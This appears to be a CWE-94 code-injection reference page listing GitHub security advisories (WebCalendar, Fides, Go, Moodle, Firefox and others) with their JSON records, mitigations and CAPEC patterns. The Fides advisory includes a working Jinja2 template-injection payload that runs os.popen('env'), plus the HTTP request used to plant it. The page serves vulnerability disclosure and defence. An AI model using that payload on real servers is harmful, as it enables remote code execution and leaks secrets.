CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8353 vulnerabilities reference this CWE, most recent first.
GHSA-C32Q-M2JW-8JP8
Vulnerability from github – Published: 2022-05-01 23:53 – Updated: 2022-05-01 23:53PHP remote file inclusion vulnerability in send_reminders.php in WebCalendar 1.0.4 allows remote attackers to execute arbitrary PHP code via a URL in the includedir parameter and a 0 value for the noSet parameter, a different vector than CVE-2007-1483.
{
"affected": [],
"aliases": [
"CVE-2008-2836"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-06-24T19:41:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in send_reminders.php in WebCalendar 1.0.4 allows remote attackers to execute arbitrary PHP code via a URL in the includedir parameter and a 0 value for the noSet parameter, a different vector than CVE-2007-1483.",
"id": "GHSA-c32q-m2jw-8jp8",
"modified": "2022-05-01T23:53:58Z",
"published": "2022-05-01T23:53:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2836"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43156"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5847"
},
{
"type": "WEB",
"url": "http://sourceforge.net/mailarchive/forum.php?thread_name=45EAF486.9080902%40k5n.us\u0026forum_name=webcalendar-announce"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29783"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1020357"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-C34R-238X-F7QX
Vulnerability from github – Published: 2024-09-04 18:07 – Updated: 2024-11-18 16:27Summary
The Email Templating feature uses Jinja2 without proper input sanitization or rendering environment restrictions, allowing for Server-Side Template Injection that grants Remote Code Execution to privileged users. A privileged user refers to an Admin UI user with the default Owner or Contributor role, who can escalate their access and execute code on the underlying Fides Webserver container where the Jinja template rendering function is executed.
Details
The application enables the creation of message templates that are sent via email to Fides Privacy Center users (data subjects) who raise privacy requests such as data subject access requests or consent management requests via the Privacy Center. These emails are triggered at various points in the request processing flow, for example when a request is denied or approved. The messages are defined using Jinja2 templates, allowing the use of statement and expression directives to craft more complex messages that include dynamic variables.
It was discovered that the Jinja2 environment used to render the templates does not restrict the usage of common Python methods and objects, which permits an attacker to execute arbitrary code via Server-Side Template Injection. An attacker with the ability to modify email templates can inject malicious code, which is then executed when an email message is rendered and sent to the user.
Admin UI users assigned the following default roles are permitted to modify email templates and are therefore able to exploit this vulnerability: - Owner - Contributor
OAuth clients with the messaging-template:update scope are also authorized to use the PUT /api/v1/messaging/templates/ Fides Webserver API endpoint and may also exploit this vulnerability.
Impact
This vulnerability allows an attacker with sufficient privileges (Owner, Contributor, messaging-template:update) to execute arbitrary code remotely (Remote Code Execution) and escalate their privileges to those of a user on the Fides Webserver container. This escalated access grants the attacker control of the Fides Webserver application, including unauthorized access to integrated resources such as the hosted database, hosted cache, integrated data stores, and integrated SaaS applications. Potential impacts range from denial of service to the exfiltration of sensitive data unavailable to the user prior to the escalation of access.
Patches
The vulnerability has been patched in Fides version 2.44.0. Users are advised to upgrade to this version or later to secure their systems against this threat.
Workarounds
There are no workarounds.
PoC
The following payload, when injected into the email template, enables the execution of a command on the underlying system, revealing the content of environment variables:
Your privacy request has been denied.
*bb*
{% for s in ().__class__.__base__.__subclasses__() %}{% if "warning" in s.__name__ %}{{s()._module.__builtins__['__import__']('os').popen("env").read() }}{% endif %}
{% endfor %}
*aa*
The following HTTP request to the Fides Webserver API can be used to update a privacy request denial email template:
PUT /api/v1/messaging/templates/autogenerated-mes_ce649254-a90b-4073-ae12-193650064220 HTTP/2
Host: <redacted host>
Cookie: _fbp=fb.1.17232<..REDACTED>_ga=GA1.1.263756963.1723471626
Content-Length: 361
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
Unescape-Safestr: true
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU..<REDACTED>
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/json
Access-Control-Allow-Origin: *
X-Fides-Source: fidesops-admin-ui
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Origin: https://<redacted host>
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://<redacted host>/messaging/autogenerated-mes_ce649254-a90b-4073-ae12-193650064220
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
{
"is_enabled": true,
"content":
{
"subject": "Your privacy request has been denied XXX",
"body": "Your privacy request has been denied. \n*bb*\n{% for s in ().__class__.__base__.__subclasses__() %}{% if \"warning\" in s.__name__ %}{{s()._module.__builtins__['__import__']('os').popen(\"env\").read() }}{% endif %}\n{% endfor %}\n*aa*\n**"
},
"properties":
[
"FDS-JICO87"
]
}
As a result, when a Privacy Center user submits a privacy request, such as to access their own data, and the request is rejected by a user of the privacy request management dashboard, the malicious template will be rendered, the code will be executed, and the content of the underlying container's environment variables will be included in the email the end-user receives.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ethyca-fides"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.44.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45053"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-04T18:07:17Z",
"nvd_published_at": "2024-09-04T16:15:07Z",
"severity": "HIGH"
},
"details": "### Summary\nThe Email Templating feature uses Jinja2 without proper input sanitization or rendering environment restrictions, allowing for Server-Side Template Injection that grants Remote Code Execution to privileged users. A privileged user refers to an Admin UI user with the default `Owner` or `Contributor` role, who can escalate their access and execute code on the underlying Fides Webserver container where the Jinja template rendering function is executed.\n\n### Details\nThe application enables the creation of message templates that are sent via email to Fides Privacy Center users (data subjects) who raise privacy requests such as data subject access requests or consent management requests via the Privacy Center. These emails are triggered at various points in the request processing flow, for example when a request is denied or approved. The messages are defined using Jinja2 templates, allowing the use of statement and expression directives to craft more complex messages that include dynamic variables.\n\nIt was discovered that the Jinja2 environment used to render the templates does not restrict the usage of common Python methods and objects, which permits an attacker to execute arbitrary code via Server-Side Template Injection. An attacker with the ability to modify email templates can inject malicious code, which is then executed when an email message is rendered and sent to the user.\n\nAdmin UI users assigned the following default roles are permitted to modify email templates and are therefore able to exploit this vulnerability:\n- Owner\n- Contributor\n\nOAuth clients with the `messaging-template:update` scope are also authorized to use the `PUT /api/v1/messaging/templates/` Fides Webserver API endpoint and may also exploit this vulnerability.\n\n### Impact\nThis vulnerability allows an attacker with sufficient privileges (`Owner`, `Contributor`, `messaging-template:update`) to execute arbitrary code remotely (Remote Code Execution) and escalate their privileges to those of a user on the Fides Webserver container. This escalated access grants the attacker control of the Fides Webserver application, including unauthorized access to integrated resources such as the hosted database, hosted cache, integrated data stores, and integrated SaaS applications. Potential impacts range from denial of service to the exfiltration of sensitive data unavailable to the user prior to the escalation of access.\n\n### Patches\nThe vulnerability has been patched in Fides version `2.44.0`. Users are advised to upgrade to this version or later to secure their systems against this threat.\n\n### Workarounds\nThere are no workarounds.\n\n### PoC\nThe following payload, when injected into the email template, enables the execution of a command on the underlying system, revealing the content of environment variables:\n```jinja\nYour privacy request has been denied.\n*bb*\n{% for s in ().__class__.__base__.__subclasses__() %}{% if \"warning\" in s.__name__ %}{{s()._module.__builtins__[\u0027__import__\u0027](\u0027os\u0027).popen(\"env\").read() }}{% endif %}\n{% endfor %}\n*aa*\n```\n\nThe following HTTP request to the Fides Webserver API can be used to update a privacy request denial email template:\n```http\nPUT /api/v1/messaging/templates/autogenerated-mes_ce649254-a90b-4073-ae12-193650064220 HTTP/2\nHost: \u003credacted host\u003e\nCookie: _fbp=fb.1.17232\u003c..REDACTED\u003e_ga=GA1.1.263756963.1723471626\nContent-Length: 361\nSec-Ch-Ua: \"Not/A)Brand\";v=\"8\", \"Chromium\";v=\"126\", \"Google Chrome\";v=\"126\"\nUnescape-Safestr: true\nSec-Ch-Ua-Mobile: ?0\nAuthorization: Bearer eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU..\u003cREDACTED\u003e\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36\nContent-Type: application/json\nAccess-Control-Allow-Origin: *\nX-Fides-Source: fidesops-admin-ui\nSec-Ch-Ua-Platform: \"Linux\"\nAccept: */*\nOrigin: https://\u003credacted host\u003e\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://\u003credacted host\u003e/messaging/autogenerated-mes_ce649254-a90b-4073-ae12-193650064220\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-US,en;q=0.9\nPriority: u=1, i\n\n{\n \"is_enabled\": true,\n \"content\":\n {\n \"subject\": \"Your privacy request has been denied XXX\",\n \"body\": \"Your privacy request has been denied. \\n*bb*\\n{% for s in ().__class__.__base__.__subclasses__() %}{% if \\\"warning\\\" in s.__name__ %}{{s()._module.__builtins__[\u0027__import__\u0027](\u0027os\u0027).popen(\\\"env\\\").read() }}{% endif %}\\n{% endfor %}\\n*aa*\\n**\"\n },\n \"properties\":\n [\n \"FDS-JICO87\"\n ]\n}\n```\n\nAs a result, when a Privacy Center user submits a privacy request, such as to access their own data, and the request is rejected by a user of the privacy request management dashboard, the malicious template will be rendered, the code will be executed, and the content of the underlying container\u0027s environment variables will be included in the email the end-user receives.\n\n\u003cimg width=\"851\" alt=\"rce-email\" src=\"https://github.com/user-attachments/assets/97a395c6-b163-4656-b551-fe3dcd748813\"\u003e\n\n",
"id": "GHSA-c34r-238x-f7qx",
"modified": "2024-11-18T16:27:09Z",
"published": "2024-09-04T18:07:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ethyca/fides/security/advisories/GHSA-c34r-238x-f7qx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45053"
},
{
"type": "WEB",
"url": "https://github.com/ethyca/fides/commit/829cbd9cb5ef9c814fbac1ed6800e8d939d359c5"
},
{
"type": "PACKAGE",
"url": "https://github.com/ethyca/fides"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Remote Code Execution Vulnerability via SSTI in Fides Webserver Jinja Email Templating Engine"
}
GHSA-C37C-QQ99-C897
Vulnerability from github – Published: 2022-05-13 01:53 – Updated: 2022-05-13 01:53Go before 1.8.7, Go 1.9.x before 1.9.4, and Go 1.10 pre-releases before Go 1.10rc2 allow "go get" remote command execution during source code build, by leveraging the gcc or clang plugin feature, because -fplugin= and -plugin= arguments were not blocked.
{
"affected": [],
"aliases": [
"CVE-2018-6574"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-07T21:29:00Z",
"severity": "HIGH"
},
"details": "Go before 1.8.7, Go 1.9.x before 1.9.4, and Go 1.10 pre-releases before Go 1.10rc2 allow \"go get\" remote command execution during source code build, by leveraging the gcc or clang plugin feature, because -fplugin= and -plugin= arguments were not blocked.",
"id": "GHSA-c37c-qq99-c897",
"modified": "2022-05-13T01:53:07Z",
"published": "2022-05-13T01:53:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6574"
},
{
"type": "WEB",
"url": "https://github.com/golang/go/issues/23672"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0878"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:1304"
},
{
"type": "WEB",
"url": "https://github.com/KINGSABRI/CVE-in-Ruby/tree/master/CVE-2018-6574"
},
{
"type": "WEB",
"url": "https://groups.google.com/forum/#!topic/golang-nuts/Gbhh1NxAjMU"
},
{
"type": "WEB",
"url": "https://groups.google.com/forum/#!topic/golang-nuts/sprOaQ5m3Dk"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2019/dsa-4380"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C39H-G3MF-R3MH
Vulnerability from github – Published: 2024-06-17 18:31 – Updated: 2024-07-03 18:45A Prototype Pollution issue in getsetprop 1.1.0 allows an attacker to execute arbitrary code via global.accessor.
{
"affected": [],
"aliases": [
"CVE-2024-36575"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-17T16:15:15Z",
"severity": "CRITICAL"
},
"details": "A Prototype Pollution issue in getsetprop 1.1.0 allows an attacker to execute arbitrary code via global.accessor.",
"id": "GHSA-c39h-g3mf-r3mh",
"modified": "2024-07-03T18:45:38Z",
"published": "2024-06-17T18:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36575"
},
{
"type": "WEB",
"url": "https://gist.github.com/mestrtee/0d830798f20839d634278d7af0155f9e"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C3PR-H96W-2JJG
Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2024-01-26 18:00moodle before versions 3.5.2, 3.4.5, 3.3.8, 3.1.14 is vulnerable to an XML import of ddwtos could lead to intentional remote code execution. When importing legacy 'drag and drop into text' (ddwtos) type quiz questions, it was possible to inject and execute PHP code from within the imported questions, either intentionally or by importing questions from an untrusted source.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "3.5.0"
},
{
"fixed": "3.5.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.0"
},
{
"fixed": "3.4.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.3.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-14630"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-26T18:00:32Z",
"nvd_published_at": "2018-09-17T18:29:00Z",
"severity": "HIGH"
},
"details": "moodle before versions 3.5.2, 3.4.5, 3.3.8, 3.1.14 is vulnerable to an XML import of ddwtos could lead to intentional remote code execution. When importing legacy \u0027drag and drop into text\u0027 (ddwtos) type quiz questions, it was possible to inject and execute PHP code from within the imported questions, either intentionally or by importing questions from an untrusted source.",
"id": "GHSA-c3pr-h96w-2jjg",
"modified": "2024-01-26T18:00:32Z",
"published": "2022-05-13T01:34:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14630"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/09cbca8566a388e8f0a1a0cfd86cd0667088ed2c"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/be092b730910ad97fff0511e177a097ec1cc4b1c"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/cb8aefa658cf7ad8f002a480343afb2dea94cc08"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/cfc4393aa689c277a27b9a040ff7dcbdac4e41dd"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/da1eeea0ff3d292b7669e478abc114872dd9cc8f"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-14630"
},
{
"type": "PACKAGE",
"url": "https://github.com/moodle/moodle"
},
{
"type": "WEB",
"url": "https://moodle.org/mod/forum/discuss.php?d=376023"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2018/Sep/28"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200227111301/https://www.securityfocus.com/bid/105354"
},
{
"type": "WEB",
"url": "https://www.sec-consult.com/en/blog/advisories/remote-code-execution-php-unserialize-moodle-open-source-learning-platform-cve-2018-14630"
},
{
"type": "WEB",
"url": "http://git.moodle.org/gw?p=moodle.git\u0026a=search\u0026h=HEAD\u0026st=commit\u0026s=MDL-62880"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Moodle XML import of ddwtos could lead to intentional remote code execution"
}
GHSA-C3Q3-CFJX-VQPR
Vulnerability from github – Published: 2022-05-01 18:33 – Updated: 2022-05-01 18:33PHP remote file inclusion vulnerability in admin/nuseo_admin_d.php in NuSEO PHP Enterprise 1.6 (NuSEO.PHP), when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the nuseo_dir parameter.
{
"affected": [],
"aliases": [
"CVE-2007-5409"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-10-12T18:17:00Z",
"severity": "MODERATE"
},
"details": "PHP remote file inclusion vulnerability in admin/nuseo_admin_d.php in NuSEO PHP Enterprise 1.6 (NuSEO.PHP), when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the nuseo_dir parameter.",
"id": "GHSA-c3q3-cfjx-vqpr",
"modified": "2022-05-01T18:33:08Z",
"published": "2022-05-01T18:33:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5409"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/37062"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4512"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/27172"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/26021"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-C3XH-MWGM-9F7J
Vulnerability from github – Published: 2026-05-07 15:38 – Updated: 2026-05-09 00:31ChestnutCMS v1.5.10 has a SQL injection vulnerability. The content parameter of the cms_content tag can be manipulated in the admin backend and injected into a SQL query when the template is rendered.
{
"affected": [],
"aliases": [
"CVE-2026-36458"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-07T15:16:05Z",
"severity": "CRITICAL"
},
"details": "ChestnutCMS v1.5.10 has a SQL injection vulnerability. The content parameter of the cms_content tag can be manipulated in the admin backend and injected into a SQL query when the template is rendered.",
"id": "GHSA-c3xh-mwgm-9f7j",
"modified": "2026-05-09T00:31:52Z",
"published": "2026-05-07T15:38:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-36458"
},
{
"type": "WEB",
"url": "https://github.com/errors11/CVE/blob/main/CVE-2026-36458.md"
},
{
"type": "WEB",
"url": "https://github.com/liweiyi/ChestnutCMS.git"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C445-2CGQ-9843
Vulnerability from github – Published: 2022-05-13 01:20 – Updated: 2022-05-13 01:20The iBMC (Intelligent Baseboard Management Controller) of some Huawei servers have a JSON injection vulnerability due to insufficient input validation. An authenticated, remote attacker can launch a JSON injection to modify the password of administrator. Successful exploit may allow attackers to obtain the management privilege of the system.
{
"affected": [],
"aliases": [
"CVE-2018-7951"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-01T14:29:00Z",
"severity": "HIGH"
},
"details": "The iBMC (Intelligent Baseboard Management Controller) of some Huawei servers have a JSON injection vulnerability due to insufficient input validation. An authenticated, remote attacker can launch a JSON injection to modify the password of administrator. Successful exploit may allow attackers to obtain the management privilege of the system.",
"id": "GHSA-c445-2cgq-9843",
"modified": "2022-05-13T01:20:38Z",
"published": "2022-05-13T01:20:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7951"
},
{
"type": "WEB",
"url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20180530-02-server-en"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C45V-H9VF-Q66X
Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2025-12-10 21:31JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability affects Firefox < 146, Firefox ESR < 115.31, and Firefox ESR < 140.6.
{
"affected": [],
"aliases": [
"CVE-2025-14324"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-09T16:17:39Z",
"severity": "CRITICAL"
},
"details": "JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability affects Firefox \u003c 146, Firefox ESR \u003c 115.31, and Firefox ESR \u003c 140.6.",
"id": "GHSA-c45v-h9vf-q66x",
"modified": "2025-12-10T21:31:30Z",
"published": "2025-12-09T18:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14324"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1996840"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-92"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-93"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-94"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-95"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-96"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C476-5CW2-72FP
Vulnerability from github – Published: 2024-09-16 14:37 – Updated: 2024-09-16 14:37The The Simple Spoiler plugin for WordPress is vulnerable to arbitrary shortcode execution in versions 1.2 to 1.3. This is due to the plugin adding the filter add_filter('comment_text', 'do_shortcode'); which will run all shortcodes in comments. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.
{
"affected": [],
"aliases": [
"CVE-2024-8479"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-14T04:15:04Z",
"severity": "HIGH"
},
"details": "The The Simple Spoiler plugin for WordPress is vulnerable to arbitrary shortcode execution in versions 1.2 to 1.3. This is due to the plugin adding the filter add_filter(\u0027comment_text\u0027, \u0027do_shortcode\u0027); which will run all shortcodes in comments. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.",
"id": "GHSA-c476-5cw2-72fp",
"modified": "2024-09-16T14:37:26Z",
"published": "2024-09-16T14:37:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8479"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/simple-spoiler/trunk/simple-spoiler.php#L108"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3151179%40simple-spoiler\u0026new=3151179%40simple-spoiler\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8ffc76d8-b841-4c26-bbc6-1f96664efe36?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.